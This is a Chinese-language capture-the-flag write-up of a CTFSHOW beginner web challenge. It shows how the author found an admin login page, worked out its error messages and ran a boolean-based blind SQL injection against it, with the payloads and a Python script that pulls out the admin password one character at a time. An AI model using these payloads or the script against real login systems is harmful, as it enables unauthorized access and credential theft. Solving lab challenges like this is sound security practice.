CTFSHOW 萌新赛 萌新记忆
吐槽一下我感觉萌新这个词在侮辱我,我还搞了半天
进去之后查看源代码,把能点的地方都点一下发现没有什么可以搞的,就打开了御剑来扫描了一波,发现了admin目录进去要让我登陆,首先用了一句话,进去看到一个"我要报警了"(因为我比较懒不想一个个试,把抓的包保存下来用sqlmap跑了一下发现注入不成功看来就只能自己一个一个的试试了)
再经过半个多小时的努力之下发现一共有三种报错结果
①用户名/密码错误:当输入的用户名不为admin且不超过限制的长度时
②用户名错误:用户名长度超过限制(字符长度最大为20)
③密码错误:输入用户名为admin
看来这道题是想让我们拿到admin的密码
首先尝试了一下能不能知道密码的 长度
payload u='||length(p)<'100&p=1
经过尝试之后发现密码的长度17
然后再查看每一位的密码
'||substr(p,1,1)<'a
import requests
url='http://d6a7e13f-2074-43c2-82aa-d3f336edd4df.chall.ctf.show:8080/admin/checklogin.php'
s='0123456789abcdefghijklmnopqrstuvwxyz'
password=''
flag=''
for i in range(1,18):
print("第"+str(i)+"位")
for j in s:
data={"u":"'||substr(p,"+str(i)+",1)<'"+j,"p":"1"}
r=requests.post(url,data=data)
if "密码错误"==r.text:
password+=chr(ord(j)-1)
print(password)
break
data={"u":"admin","p":password}
print(data)
rep=requests.post(url,data=data)
flag=rep.text
print(flag)